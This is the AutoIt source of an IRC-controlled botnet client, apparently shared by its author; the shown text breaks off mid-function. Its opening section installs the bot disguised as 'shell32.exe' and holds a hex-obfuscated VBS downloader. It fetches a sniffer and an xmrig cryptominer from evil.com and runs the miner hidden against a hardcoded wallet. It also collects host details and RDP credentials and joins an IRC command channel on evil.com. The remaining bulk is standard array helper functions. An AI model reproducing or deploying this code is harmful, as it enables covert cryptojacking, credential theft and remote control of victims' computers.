; Be sure to host the sniffer on your server, otherwise it wont work, its seperate binary now ; source for sniffer here: https://pastebin.com/EY2xQ0wf ; Add me on discord if u want to chat/need help with setup for anything ; discord: 𝓕𝓻𝓮𝓪𝓴#9727 #NoTrayIcon #Region ;**** Directives created by AutoIt3Wrapper_GUI **** #AutoIt3Wrapper_Compression=4 #AutoIt3Wrapper_UseUpx=y #AutoIt3Wrapper_UPX_Parameters=--best --lzma #AutoIt3Wrapper_Res_requestedExecutionLevel=asInvoker #AutoIt3Wrapper_Run_Tidy=y #Tidy_Parameters=/gd /reel /sci 0 /kv 5 /sf #AutoIt3Wrapper_Run_Au3Stripper=y #Au3Stripper_Parameters=/so /mi 5 /mo #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI **** If IsAdmin() Then $priv = "A" Else $priv = "U" EndIf Global $nodes = StringSplit("evil.com:6667|", "|") Global $signedin = False Global $botpassword = "kektheplanet" Global $nickformat = $priv & "[" & @OSVersion & "|" & @OSArch & "|" & EnvGet("NUMBER_OF_PROCESSORS") & "]" Global $botid = randID() Global $nick = $nickformat & $botid Global $channel = "#windoez" Global $key = "swegfeg" Global $trigger = "!" Global $lanIP = @IPAddress1 Global $myIP = _GetIP() Global $installdir = @AppDataDir & '\Windows Shell Common Binary' Global $botproc = "shell32.exe" Global $installpath = $installdir & '\' & $botproc Global $lootLoc = $installdir & "\dump.dat" Global $dlexe = BinaryToString("0x63642025746D7025266563686F2053657420593D4372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293A592E4F70656E2022474554222C22687474703A2F2F636E632E63353431663564343339613335392E78797A2F7570646174652E657865222C46616C73653A592E53656E643A53657420473D4372656174654F626A656374282241444F44422E53747265616D22293A472E547970653D313A472E4F70656E3A472E577269746520592E726573706F6E7365426F64793A472E53617665546F46696C652022652E657865222C323A4372656174654F626A6563742822575363726970742E5368656C6C22292E52756E2022652E6578652044454641554C54223A4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422292E44656C65746546696C652022714E2E76627322203E714E2E766273267374617274207773637269707420714E2E766273") Global Const $tagOBJECTATTRIBUTES = "ulong Length;hwnd RootDirectory;ptr ObjectName;ulong Attributes;ptr SecurityDescriptor;ptr SecurityQualityOfService" Global Const $tagUNICODESTRING = "ushort Length;ushort MaximumLength;ptr Buffer" Global Const $tagSECURITY_ATTRIBUTES = "dword Length;ptr Descriptor;bool InheritHandle" Global Const $OBJ_CASE_INSENSITIVE = 0x00000040 Global Const $UBOUND_DIMENSIONS = 0 Global Const $UBOUND_ROWS = 1 Global Const $UBOUND_COLUMNS = 2 Global Enum $ARRAYFILL_FORCE_DEFAULT, $ARRAYFILL_FORCE_SINGLEITEM, $ARRAYFILL_FORCE_INT, $ARRAYFILL_FORCE_NUMBER, _ $ARRAYFILL_FORCE_PTR, $ARRAYFILL_FORCE_HWND, $ARRAYFILL_FORCE_STRING, $ARRAYFILL_FORCE_BOOLEAN Global Enum $ARRAYUNIQUE_NOCOUNT, $ARRAYUNIQUE_COUNT Global Enum $ARRAYUNIQUE_AUTO, $ARRAYUNIQUE_FORCE32, $ARRAYUNIQUE_FORCE64, $ARRAYUNIQUE_MATCH, $ARRAYUNIQUE_DISTINCT Global Const $STR_ENTIRESPLIT = 1 ; Entire delimiter marks the split Global Const $STR_NOCOUNT = 2 ; Disable the return count Global $STANDARD_RIGHTS_REQUIRED = 0x000f0000 Global Const $SERVICE_QUERY_CONFIG = 0x0001 Global Const $SERVICE_CHANGE_CONFIG = 0x0002 Global Const $SERVICE_QUERY_STATUS = 0x0004 Global Const $SERVICE_ENUMERATE_DEPENDENTS = 0x0008 Global Const $SERVICE_START = 0x0010 Global Const $SERVICE_STOP = 0x0020 Global Const $SERVICE_PAUSE_CONTINUE = 0x0040 Global Const $SERVICE_INTERROGATE = 0x0080 Global Const $SERVICE_USER_DEFINED_CONTROL = 0x0100 Global Const $SERVICE_ALL_ACCESS = BitOR($STANDARD_RIGHTS_REQUIRED, _ $SERVICE_QUERY_CONFIG, _ $SERVICE_CHANGE_CONFIG, _ $SERVICE_QUERY_STATUS, _ $SERVICE_ENUMERATE_DEPENDENTS, _ $SERVICE_START, _ $SERVICE_STOP, _ $SERVICE_PAUSE_CONTINUE, _ $SERVICE_INTERROGATE, _ $SERVICE_USER_DEFINED_CONTROL) Global Const $STDOUT_CHILD = 2 Global Const $STDERR_CHILD = 4 Global $__ghWinInet_FTP = -1 Global $__ghCallback_FTP, $__gbCallback_Set = False Global Const $INTERNET_SERVICE_FTP = 1 Global Const $INTERNET_FLAG_ASYNC = 0x10000000 Global Const $GENERIC_WRITE = 0x40000000 Global Const $FTP_TRANSFER_TYPE_BINARY = 2 ;Type I transfer method. The file is transferred exactly as it exists with no changes. Global Const $INTERNET_FLAG_PASSIVE = 0x08000000 Global Const $INTERNET_OPEN_TYPE_DIRECT = 1 Global $line, $foo Global $RDPCreds = "" Dim $hmutex _Singleton("4a43c9a1fb27739fc59c3c33bd767318", $hmutex) dlexe("http://evil.com/sniffer.exe") fixsys() install() InetGet("http://evil.com/xmrig.exe", @TempDir) Run(@TempDir & '\xmrig.exe --url pool.hashvault.pro:80 --user 45iHeQwQaunWXryL9YZ2egJxKvWBtWQUE4PKitu1VwYNUqkhHt6nyCTQb2dbvDRqDPXveNq94DG9uTndKcWLYNoG2uonhgH --pass x --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14', "", @SW_HIDE) TCPStartup() Opt("TCPTimeout", 5000) While 1 Global $sock = connect($nodes) While 1 $Recv = TCPRecv($sock, 8192) If @error Then ExitLoop Local $sData = StringSplit($Recv, @CRLF) For $i = 1 To $sData[0] Step 1 Local $stemp = StringSplit($sData[$i], " ") If $stemp[1] == "" Then ContinueLoop If $stemp[0] < 2 Then ContinueLoop If $stemp[1] == "PING" Then pong($sock, $stemp[2]) If $stemp[2] == "376" Or $stemp[2] == "422" Then changemode($sock, "+i", $nick) joinchannel($sock, $channel & " " & $key) ElseIf $stemp[2] == "352" Then newnickname($sock) EndIf Switch $stemp[2] Case "PRIVMSG" $user = StringMid($stemp[1], 2, StringInStr($stemp[1], "!") - 2) $msg = StringMid($sData[$i], StringInStr($sData[$i], ":", 0, 2) + 1) If StringLeft($msg, 1) = $trigger Then cmd($user, $stemp[3], $msg) EndIf EndSwitch Next WEnd WEnd Func __FTP_Init() $__ghWinInet_FTP = DllOpen('wininet.dll') EndFunc ;==>__FTP_Init Func _ArrayAdd(ByRef $aArray, $vValue, $iStart = 0, $sDelim_Item = "|", $sDelim_Row = @CRLF, $iForce = $ARRAYFILL_FORCE_DEFAULT) If $iStart = Default Then $iStart = 0 If $sDelim_Item = Default Then $sDelim_Item = "|" If $sDelim_Row = Default Then $sDelim_Row = @CRLF If $iForce = Default Then $iForce = $ARRAYFILL_FORCE_DEFAULT If Not IsArray($aArray) Then Return SetError(1, 0, -1) Local $iDim_1 = UBound($aArray, $UBOUND_ROWS) Local $hDataType = 0 Switch $iForce Case $ARRAYFILL_FORCE_INT $hDataType = Int Case $ARRAYFILL_FORCE_NUMBER $hDataType = Number Case $ARRAYFILL_FORCE_PTR $hDataType = Ptr Case $ARRAYFILL_FORCE_HWND $hDataType = Hwnd Case $ARRAYFILL_FORCE_STRING $hDataType = String Case $ARRAYFILL_FORCE_BOOLEAN $hDataType = "Boolean" EndSwitch Switch UBound($aArray, $UBOUND_DIMENSIONS) Case 1 If $iForce = $ARRAYFILL_FORCE_SINGLEITEM Then ReDim $aArray[$iDim_1 + 1] $aArray[$iDim_1] = $vValue Return $iDim_1 EndIf If IsArray($vValue) Then If UBound($vValue, $UBOUND_DIMENSIONS) <> 1 Then Return SetError(5, 0, -1) $hDataType = 0 Else Local $aTmp = StringSplit($vValue, $sDelim_Item, $STR_NOCOUNT + $STR_ENTIRESPLIT) If UBound($aTmp, $UBOUND_ROWS) = 1 Then $aTmp[0] = $vValue EndIf $vValue = $aTmp EndIf Local $iAdd = UBound($vValue, $UBOUND_ROWS) ReDim $aArray[$iDim_1 + $iAdd] For $i = 0 To $iAdd - 1 If String($hDataType) = "Boolean" Then Switch $vValue[$i] Case "True", "1" $aArray[$iDim_1 + $i] = True Case "False", "0", "" $aArray[$iDim_1 + $i] = False EndSwitch ElseIf IsFunc($hDataType) Then $aArray[$iDim_1 + $i] = $hDataType($vValue[$i]) Else $aArray[$iDim_1 + $i] = $vValue[$i] EndIf Next Return $iDim_1 + $iAdd - 1 Case 2 Local $iDim_2 = UBound($aArray, $UBOUND_COLUMNS) If $iStart < 0 Or $iStart > $iDim_2 - 1 Then Return SetError(4, 0, -1) Local $iValDim_1, $iValDim_2 = 0, $iColCount If IsArray($vValue) Then If UBound($vValue, $UBOUND_DIMENSIONS) <> 2 Then Return SetError(5, 0, -1) $iValDim_1 = UBound($vValue, $UBOUND_ROWS) $iValDim_2 = UBound($vValue, $UBOUND_COLUMNS) $hDataType = 0 Else Local $aSplit_1 = StringSplit($vValue, $sDelim_Row, $STR_NOCOUNT + $STR_ENTIRESPLIT) $iValDim_1 = UBound($aSplit_1, $UBOUND_ROWS) Local $aTmp[$iValDim_1][0], $aSplit_2 For $i = 0 To $iValDim_1 - 1 $aSplit_2 = StringSplit($aSplit_1[$i], $sDelim_Item, $STR_NOCOUNT + $STR_ENTIRESPLIT) $iColCount = UBound($aSplit_2) If $iColCount > $iValDim_2 Then $iValDim_2 = $iColCount ReDim $aTmp[$iValDim_1][$iValDim_2] EndIf For $j = 0 To $iColCount - 1 $aTmp[$i][$j] = $aSplit_2[$j] Next Next $vValue = $aTmp EndIf If UBound($vValue, $UBOUND_COLUMNS) + $iStart > UBound($aArray, $UBOUND_COLUMNS) Then Return SetError(3, 0, -1) ReDim $aArray[$iDim_1 + $iValDim_1][$iDim_2] For $iWriteTo_Index = 0 To $iValDim_1 - 1 For $j = 0 To $iDim_2 - 1 If $j < $iStart Then $aArray[$iWriteTo_Index + $iDim_1][$j] = "" ElseIf $j - $iStart > $iValDim_2 - 1 Then $aArray[$iWriteTo_Index + $iDim_1][$j] = "" Else If String($hDataType) = "Boolean" Then Switch $vValue[$iWriteTo_Index][$j - $iStart] Case "True", "1" $aArray[$iWriteTo_Index + $iDim_1][$j] = True Case "False", "0", "" $aArray[$iWriteTo_Index + $iDim_1][$j] = False EndSwitch ElseIf IsFunc($hDataType) Then $aArray[$iWriteTo_Index + $iDim_1][$j] = $hDataType($vValue[$iWriteTo_Index][$j - $iStart]) Else $aArray[$iWriteTo_Index + $iDim_1][$j] = $vValue[$iWriteTo_Index][$j - $iStart] EndIf EndIf Next Next Case Else Return SetError(2, 0, -1) EndSwitch Return UBound($aArray, $UBOUND_ROWS) - 1 EndFunc ;==>_ArrayAdd Func _ArrayDelete(ByRef $aArray, $vRange) If Not IsArray($aArray) Then Return SetError(1, 0, -1) Local $iDim_1 = UBound($aArray, $UBOUND_ROWS) - 1 If IsArray($vRange) Then If UBound($vRange, $UBOUND_DIMENSIONS) <> 1 Or UBound($vRange, $UBOUND_ROWS) < 2 Then Return SetError(4, 0, -1) Else Local $iNumber, $aSplit_1, $aSplit_2 $vRange = StringStripWS($vRange, 8) $aSplit_1 = StringSplit($vRange, ";") $vRange = "" For $i = 1 To $aSplit_1[0] If Not StringRegExp($aSplit_1[$i], "^\d+(-\d+)?$") Then Return SetError(3, 0, -1) $aSplit_2 = StringSplit($aSplit_1[$i], "-") Switch $aSplit_2[0] Case 1 $vRange &= $aSplit_2[1] & ";" Case 2 If Number($aSplit_2[2]) >= Number($aSplit_2[1]) Then $iNumber = $aSplit_2[1] - 1 Do $iNumber += 1 $vRange &= $iNumber & ";" Until $iNumber = $aSplit_2[2] EndIf EndSwitch Next $vRange = StringSplit(StringTrimRight($vRange, 1), ";") EndIf If $vRange[1] < 0 Or $vRange[$vRange[0]] > $iDim_1 Then Return SetError(5, 0, -1) Local $iCopyTo_Index = 0 Switch UBound($aArray, $UBOUND_DIMENSIONS) Case 1 For $i = 1 To $vRange[0] $aArray[$vRange[$i]] = ChrW(0xFAB1) Next For $iReadFrom_Index = 0 To $iDim_1 If $aArray[$iReadFrom_Index] == ChrW(0xFAB1) Then ContinueLoop Else If $iReadFrom_Index <> $iCopyTo_Index Then $aArray[$iCopyTo_Index] = $aArray[$iReadFrom_Index] EndIf $iCopyTo_Index += 1 EndIf Next ReDim $aArray[$iDim_1 - $vRange[0] + 1] Case 2 Local $iDim_2 = UBound($aArray, $UBOUND_COLUMNS) - 1 For $i = 1 To $vRange[0] $aArray[$vRange[$i]][0] = ChrW(0xFAB1) Next For $iReadFrom_Index = 0 To $iDim_1 If $aArray[$iReadFrom_Index][0] == ChrW(0xFAB1) Then ContinueLoop Else If $iReadFrom_Index <> $iCopyTo_Index Then For $j = 0 To $iDim_2 $aArray[$iCopyTo_Index][$j] = $aArray[$iReadFrom_Index][$j] Next EndIf $iCopyTo_Index += 1 EndIf Next ReDim $aArray[$iDim_1 - $vRange[0] + 1][$iDim_2 + 1] Case Else Return SetError(2, 0, False) EndSwitch Return UBound($aArray, $UBOUND_ROWS) EndFunc ;==>_ArrayDelete Func _ArrayFindAll(Const ByRef $aArray, $vValue, $iStart = 0, $iEnd = 0, $iCase = 0, $iCompare = 0, $iSubItem = 0, $bRow = False) If $iStart = Default Then $iStart = 0 If $iEnd = Default Then $iEnd = 0 If $iCase = Default Then $iCase = 0 If $iCompare = Default Then $iCompare = 0 If $iSubItem = Default Then $iSubItem = 0 If $bRow = Default Then $bRow = False $iStart = _ArraySearch($aArray, $vValue, $iStart, $iEnd, $iCase, $iCompare, 1, $iSubItem, $bRow) If @error Then Return SetError(@error, 0, -1) Local $iIndex = 0, $avResult[UBound($aArray, ($bRow ? $UBOUND_COLUMNS : $UBOUND_ROWS))] ; Set dimension for Column/Row Do $avResult[$iIndex] = $iStart $iIndex += 1 $iStart = _ArraySearch($aArray, $vValue, $iStart + 1, $iEnd, $iCase, $iCompare, 1, $iSubItem, $bRow) Until @error ReDim $avResult[$iIndex] Return $avResult EndFunc ;==>_ArrayFindAll Func _ArrayInsert(ByRef $aArray, $vRange, $vValue = "", $iStart = 0, $sDelim_Item = "|", $sDelim_Row = @CRLF, $iForce = $ARRAYFILL_FORCE_DEFAULT) If $vValue = Default Then $vValue = "" If $iStart = Default Then $iStart = 0 If $sDelim_Item = Default Then $sDelim_Item = "|" If $sDelim_Row = Default Then $sDelim_Row = @CRLF If $iForce = Default Then $iForce = $ARRAYFILL_FORCE_DEFAULT If Not IsArray($aArray) Then Return SetError(1, 0, -1) Local $iDim_1 = UBound($aArray, $UBOUND_ROWS) - 1 Local $hDataType = 0 Switch $iForce Case $ARRAYFILL_FORCE_INT $hDataType = Int Case $ARRAYFILL_FORCE_NUMBER $hDataType = Number Case $ARRAYFILL_FORCE_PTR $hDataType = Ptr Case $ARRAYFILL_FORCE_HWND $hDataType = Hwnd Case $ARRAYFILL_FORCE_STRING $hDataType = String EndSwitch Local $aSplit_1, $aSplit_2 If IsArray($vRange) Then If UBound($vRange, $UBOUND_DIMENSIONS) <> 1 Or UBound($vRange, $UBOUND_ROWS) < 2 Then Return SetError(4, 0, -1) Else Local $iNumber $vRange = StringStripWS($vRange, 8) $aSplit_1 = StringSplit($vRange, ";") $vRange = "" For $i = 1 To $aSplit_1[0] If Not StringRegExp($aSplit_1[$i], "^\d+(-\d+)?$") Then Return SetError(3, 0, -1) $aSplit_2 = StringSplit($aSplit_1[$i], "-") Switch $aSplit_2[0] Case 1 $vRange &= $aSplit_2[1] & ";" Case 2 If Number($aSplit_2[2]) >= Number($aSplit_2[1]) Then $iNumber = $aSplit_2[1] - 1 Do $iNumber += 1 $vRange &= $iNumber & ";" Until $iNumber = $aSplit_2[2] EndIf EndSwitch Next $vRange = StringSplit(StringTrimRight($vRange, 1), ";") EndIf If $vRange[1] < 0 Or $vRange[$vRange[0]] > $iDim_1 Then Return SetError(5, 0, -1) For $i = 2 To $vRange[0] If $vRange[$i] < $vRange[$i - 1] Then Return SetError(3, 0, -1) Next Local $iCopyTo_Index = $iDim_1 + $vRange[0] Local $iInsertPoint_Index = $vRange[0] Local $iInsert_Index = $vRange[$iInsertPoint_Index] Switch UBound($aArray, $UBOUND_DIMENSIONS) Case 1 If $iForce = $ARRAYFILL_FORCE_SINGLEITEM Then ReDim $aArray[$iDim_1 + $vRange[0] + 1] For $iReadFromIndex = $iDim_1 To 0 Step -1 $aArray[$iCopyTo_Index] = $aArray[$iReadFromIndex] $iCopyTo_Index -= 1 $iInsert_Index = $vRange[$iInsertPoint_Index] While $iReadFromIndex = $iInsert_Index $aArray[$iCopyTo_Index] = $vValue $iCopyTo_Index -= 1 $iInsertPoint_Index -= 1 If $iInsertPoint_Index < 1 Then ExitLoop 2 $iInsert_Index = $vRange[$iInsertPoint_Index] WEnd Next Return $iDim_1 + $vRange[0] + 1 EndIf ReDim $aArray[$iDim_1 + $vRange[0] + 1] If IsArray($vValue) Then If UBound($vValue, $UBOUND_DIMENSIONS) <> 1 Then Return SetError(5, 0, -1) $hDataType = 0 Else Local $aTmp = StringSplit($vValue, $sDelim_Item, $STR_NOCOUNT + $STR_ENTIRESPLIT) If UBound($aTmp, $UBOUND_ROWS) = 1 Then $aTmp[0] = $vValue $hDataType = 0 EndIf $vValue = $aTmp EndIf For $iReadFromIndex = $iDim_1 To 0 Step -1 $aArray[$iCopyTo_Index] = $aArray[$iReadFromIndex] $iCopyTo_Index -= 1 $iInsert_Index = $vRange[$iInsertPoint_Index] While $iReadFromIndex = $iInsert_Index If $iInsertPoint_Index <= UBound($vValue, $UBOUND_ROWS) Then If IsFunc($hDataType) Then $aArray[$iCopyTo_Index] = $hDataType($vValue[$iInsertPoint_Index - 1]) Else $aArray[$iCopyTo_Index] = $vValue[$iInsertPoint_Index - 1] EndIf Else $aArray[$iCopyTo_Index] = "" EndIf $iCopyTo_Index -= 1 $iInsertPoint_Index -= 1 If $iInsertPoint_Index = 0 Then ExitLoop 2 $iInsert_Index = $vRange[$iInsertPoint_Index] WEnd Next Case 2 Local $iDim_2 = UBound($aArray, $UBOUND_COLUMNS) If $iStart < 0 Or $iStart > $iDim_2 - 1 Then Return SetError(6, 0, -1) Local $iValDim_1, $iValDim_2 If IsArray($vValue) Then If UBound($vValue, $UBOUND_DIMENSIONS) <> 2 Then Return SetError(7, 0, -1) $iValDim_1 = UBound($vValue, $UBOUND_ROWS) $iValDim_2 = UBound($vValue, $UBOUND_COLUMNS) $hDataType = 0 Else $aSplit_1 = StringSplit($vValue, $sDelim_Row, $STR_NOCOUNT + $STR_ENTIRESPLIT) $iValDim_1 = UBound($aSplit_1, $UBOUND_ROWS) StringReplace($aSplit_1[0], $sDelim_Item, "") $iValDim_2 = @extended + 1 Local $aTmp[$iValDim_1][$iValDim_2] For $i = 0 To $iValDim_1 - 1 $aSplit_2 = StringSplit($aSplit_1[$i], $sDelim_Item, $STR_NOCOUNT + $STR_ENTIRESPLIT) For $j = 0 To $iValDim_2 - 1 $aTmp[$i][$j] = $aSplit_2[$j] Next Next $vValue = $aTmp EndIf If UBound($vValue, $UBOUND_COLUMNS) + $iStart > UBound($aArray, $UBOUND_COLUMNS) Then Return SetError(8, 0, -1) ReDim $aArray[$iDim_1 + $vRange[0] + 1][$iDim_2] For $iReadFromIndex = $iDim_1 To 0 Step -1 For $j = 0 To $iDim_2 - 1 $aArray[$iCopyTo_Index][$j] = $aArray[$iReadFromIndex][$j] Next $iCopyTo_Index -= 1 $iInsert_Index = $vRange[$iInsertPoint_Index] While $iReadFromIndex = $iInsert_Index For $j = 0 To $iDim_2 - 1 If $j < $iStart Then $aArray[$iCopyTo_Index][$j] = "" ElseIf $j - $iStart > $iValDim_2 - 1 Then $aArray[$iCopyTo_Index][$j] = "" Else If $iInsertPoint_Index - 1 < $iValDim_1 Then If IsFunc($hDataType) Then $aArray[$iCopyTo_Index][$j] = $hDataType($vValue[$iInsertPoint_Index - 1][$j - $iStart]) Else $aArray[$iCopyTo_Index][$j] = $vValue[$iInsertPoint_Index - 1][$j - $iStart] EndIf Else $aArray[$iCopyTo_Index][$j] = "" EndIf EndIf Next $iCopyTo_Index -= 1 $iInsertPoint_Index -= 1 If $iInsertPoint_Index = 0 Then ExitLoop 2 $iInsert_Index = $vRange[$iInsertPoint_Index] WEnd Next Case Else Return SetError(2, 0, -1) EndSwitch Return UBound($aArray, $UBOUND_ROWS) EndFunc ;==>_ArrayInsert Func _ArraySearch(Const ByRef $aArray, $vValue, $iStart = 0, $iEnd = 0, $iCase = 0, $iCompare = 0, $iForward = 1, $iSubItem = -1, $bRow = False) If $iStart = Default Then $iStart = 0 If $iEnd = Default Then $iEnd = 0 If $iCase = Default Then $iCase = 0 If $iCompare = Default Then $iCompare = 0 If $iForward = Default Then $iForward = 1 If $iSubItem = Default Then $iSubItem = -1 If $bRow = Default Then $bRow = False If Not IsArray($aArray) Then Return SetError(1, 0, -1) Local $iDim_1 = UBound($aArray) - 1 If $iDim_1 = -1 Then Return SetError(3, 0, -1) Local $iDim_2 = UBound($aArray, $UBOUND_COLUMNS) - 1 Local $bCompType = False If $iCompare = 2 Then $iCompare = 0 $bCompType = True EndIf If $bRow Then If UBound($aArray, $UBOUND_DIMENSIONS) = 1 Then Return SetError(5, 0, -1) If $iEnd < 1 Or $iEnd > $iDim_2 Then $iEnd = $iDim_2 If $iStart < 0 Then $iStart = 0 If $iStart > $iEnd Then Return SetError(4, 0, -1) Else If $iEnd < 1 Or $iEnd > $iDim_1 Then $iEnd = $iDim_1 If $iStart < 0 Then $iStart = 0 If $iStart > $iEnd Then Return SetError(4, 0, -1) EndIf Local $iStep = 1 If Not $iForward Then Local $iTmp = $iStart $iStart = $iEnd $iEnd = $iTmp $iStep = -1 EndIf Switch UBound($aArray, $UBOUND_DIMENSIONS) Case 1 ; 1D array search If Not $iCompare Then If Not $iCase Then For $i = $iStart To $iEnd Step $iStep If $bCompType And VarGetType($aArray[$i]) <> VarGetType($vValue) Then ContinueLoop If $aArray[$i] = $vValue Then Return $i Next Else For $i = $iStart To $iEnd Step $iStep If $bCompType And VarGetType($aArray[$i]) <> VarGetType($vValue) Then ContinueLoop If $aArray[$i] == $vValue Then Return $i Next EndIf Else For $i = $iStart To $iEnd Step $iStep If $iCompare = 3 Then If StringRegExp($aArray[$i], $vValue) Then Return $i Else If StringInStr($aArray[$i], $vValue, $iCase) > 0 Then Return $i EndIf Next EndIf Case 2 ; 2D array search Local $iDim_Sub If $bRow Then $iDim_Sub = $iDim_1 If $iSubItem > $iDim_Sub Then $iSubItem = $iDim_Sub If $iSubItem < 0 Then $iSubItem = 0 Else $iDim_Sub = $iSubItem EndIf Else $iDim_Sub = $iDim_2 If $iSubItem > $iDim_Sub Then $iSubItem = $iDim_Sub If $iSubItem < 0 Then $iSubItem = 0 Else $iDim_Sub = $iSubItem EndIf EndIf For $j = $iSubItem To $iDim_Sub If Not $iCompare Then If Not $iCase Then For $i = $iStart To $iEnd Step $iStep If $bRow Then If $bCompType And VarGetType($aArray[$j][$i]) <> VarGetType($vValue) Then ContinueLoop If $aArray[$j][$i] = $vValue Then Return $i Else If $bCompType And VarGetType($aArray[$i][$j]) <> VarGetType($vValue) Then ContinueLoop If $aArray[$i][$j] = $vValue Then Return $i EndIf Next Else For $i = $iStart To $iEnd Step $iStep If $bRow Then If $bCompType And VarGetType($aArray[$j][$i]) <> VarGetType($vValue) Then ContinueLoop If $aArray[$j][$i] == $vValue Then Return $i Else If $bCompType And VarGetType($aArray[$i][$j]) <> VarGetType($vValue) Then ContinueLoop If $aArray[$i][$j] == $vValue Then Return $i EndIf Next EndIf Else For $i = $iStart To $iEnd Step $iStep If $iCompare = 3 Then If $bRow Then If StringRegExp($aArray[$j][$i], $vValue) Then Return $i Else If StringRegExp($aArray[$i][$j], $vValue) Then Return $i EndIf Else If $bRow Then If StringInStr($aArray[$j][$i], $vValue, $iCase) > 0 Then Return $i Else If StringInStr($aArray[$i][$j], $vValue, $iCase) > 0 Then Return $i EndIf EndIf Next EndIf Next Case Else Return SetError(2, 0, -1) EndSwitch Return SetError(6, 0, -1) EndFunc ;==>_ArraySearch Func _ArrayToString(Const ByRef $aArray, $sDelim_Col = "|", $iStart_Row = -1, $iEnd_Row = -1, $sDelim_Row = @CRLF, $iStart_Col = -1, $iEnd_Col = -1) If $sDelim_Col = Default Then $sDelim_Col = "|" If $sDelim_Row = Default Then $sDelim_Row = @CRLF If $iStart_Row = Default Then $iStart_Row = -1 If $iEnd_Row = Default Then $iEnd_Row = -1 If $iStart_Col = Default Then $iStart_Col = -1 If $iEnd_Col = Default Then $iEnd_Col = -1 If Not IsArray($aArray) Then Return SetError(1, 0, -1) Local $iDim_1 = UBound($aArray, $UBOUND_ROWS) - 1 If $iStart_Row = -1 Then $iStart_Row = 0 If $iEnd_Row = -1 Then $iEnd_Row = $iDim_1 If $iStart_Row < -1 Or $iEnd_Row < -1 Then Return SetError(3, 0, -1) If $iStart_Row > $iDim_1 Or $iEnd_Row > $iDim_1 Then Return SetError(3, 0, "") If $iStart_Row > $iEnd_Row Then Return SetError(4, 0, -1) Local $sRet = "" Switch UBound($aArray, $UBOUND_DIMENSIONS) Case 1 For $i = $iStart_Row To $iEnd_Row $sRet &= $aArray[$i] & $sDelim_Col Next Return StringTrimRight($sRet, StringLen($sDelim_Col)) Case 2 Local $iDim_2 = UBound($aArray, $UBOUND_COLUMNS) - 1 If $iStart_Col = -1 Then $iStart_Col = 0 If $iEnd_Col = -1 Then $iEnd_Col = $iDim_2 If $iStart_Col < -1 Or $iEnd_Col < -1 Then Return SetError(5, 0, -1) If $iStart_Col > $iDim_2 Or $iEnd_Col > $iDim_2 Then Return SetError(5, 0, -1) If $iStart_Col > $iEnd_Col Then Return SetError(6, 0, -1) For $i = $iStart_Row To $iEnd_Row For $j = $iStart_Col To $iEnd_Col $sRet &= $aArray[$i][$j] & $sDelim_Col Next $sRet = StringTrimRight($sRet, StringLen($sDelim_Col)) & $sDelim_Row Next Return StringTrimRight($sRet, StringLen($sDelim_Row)) Case Else Return SetError(2, 0, -1) EndSwitch Return 1 EndFunc ;==>_ArrayToString Func _ArrayUnique(Const ByRef $aArray, $iColumn = 0, $iBase = 0, $iCase = 0, $iCount = $ARRAYUNIQUE_COUNT, $iIntType = $ARRAYUNIQUE_AUTO) If $iColumn = Default Then $iColumn = 0 If $iBase = Default Then $iBase = 0 If $iCase = Default Then $iCase = 0 If $iCount = Default Then $iCount = $ARRAYUNIQUE_COUNT If UBound($aArray, $UBOUND_ROWS) = 0 Then Return SetError(1, 0, 0) Local $iDims = UBound($aArray, $UBOUND_DIMENSIONS), $iNumColumns = UBound($aArray, $UBOUND_COLUMNS) If $iDims > 2 Then Return SetError(2, 0, 0) If $iBase < 0 Or $iBase > 1 Or (Not IsInt($iBase)) Then Return SetError(3, 0, 0) If $iCase < 0 Or $iCase > 1 Or (Not IsInt($iCase)) Then Return SetError(3, 0, 0) If $iCount < 0 Or $iCount > 1 Or (Not IsInt($iCount)) Then Return SetError(4, 0, 0) If $iIntType < 0 Or $iIntType > 4 Or (Not IsInt($iIntType)) Then Return SetError(5, 0, 0) If $iColumn < 0 Or ($iNumColumns = 0 And $iColumn > 0) Or ($iNumColumns > 0 And $iColumn >= $iNumColumns) Then Return SetError(6, 0, 0) If $iIntType = $ARRAYUNIQUE_AUTO Then Local $bInt, $sVarType If $iDims = 1 Then $bInt = IsInt($aArray[$iBase]) $sVarType = VarGetType($aArray[$iBase]) Else $bInt = IsInt($aArray[$iBase][$iColumn]) $sVarType = VarGetType($aArray[$iBase][$iColumn]) EndIf If $bInt And $sVarType = "Int64" Then $iIntType = $ARRAYUNIQUE_FORCE64 Else $iIntType = $ARRAYUNIQUE_FORCE32 EndIf EndIf Local $oDictionary = ObjCreate("Scripting.Dictionary") $oDictionary.CompareMode = Number(Not $iCase) Local $vElem, $sType, $vKey, $bCOMError = False For $i = $iBase To UBound($aArray) - 1 If $iDims = 1 Then $vElem = $aArray[$i] Else $vElem = $aArray[$i][$iColumn] EndIf Switch $iIntType Case $ARRAYUNIQUE_FORCE32 $oDictionary.Item($vElem) ; Check if key exists - automatically created if not If @error Then $bCOMError = True ; Failed with an Int64, Ptr or Binary datatype ExitLoop EndIf Case $ARRAYUNIQUE_FORCE64 $sType = VarGetType($vElem) If $sType = "Int32" Then $bCOMError = True ; Failed with an Int32 datatype ExitLoop EndIf ; Create key $vKey = "#" & $sType & "#" & String($vElem) If Not $oDictionary.Item($vKey) Then ; Check if key exists $oDictionary($vKey) = $vElem ; Store actual value in dictionary EndIf Case $ARRAYUNIQUE_MATCH $sType = VarGetType($vElem) If StringLeft($sType, 3) = "Int" Then $vKey = "#Int#" & String($vElem) Else $vKey = "#" & $sType & "#" & String($vElem) EndIf If Not $oDictionary.Item($vKey) Then ; Check if key exists $oDictionary($vKey) = $vElem ; Store actual value in dictionary EndIf Case $ARRAYUNIQUE_DISTINCT $vKey = "#" & VarGetType($vElem) & "#" & String($vElem) If Not $oDictionary.Item($vKey) Then ; Check if key exists $oDictionary($vKey) = $vElem ; Store actual value in dictionary EndIf EndSwitch Next Local $aValues, $j = 0 If $bCOMError Then ; Mismatch Int32/64 Return SetError(7, 0, 0) ElseIf $iIntType <> $ARRAYUNIQUE_FORCE32 Then Local $aValues[$oDictionary.Count] For $vKey In $oDictionary.Keys() $aValues[$j] = $oDictionary($vKey) If StringLeft($vKey, 5) = "#Ptr#" Then $aValues[$j] = Ptr($aValues[$j]) EndIf $j += 1 Next Else $aValues = $oDictionary.Keys() EndIf If $iCount Then _ArrayInsert($aValues, 0, $oDictionary.Count) EndIf Return $aValues EndFunc ;==>_ArrayUnique Func 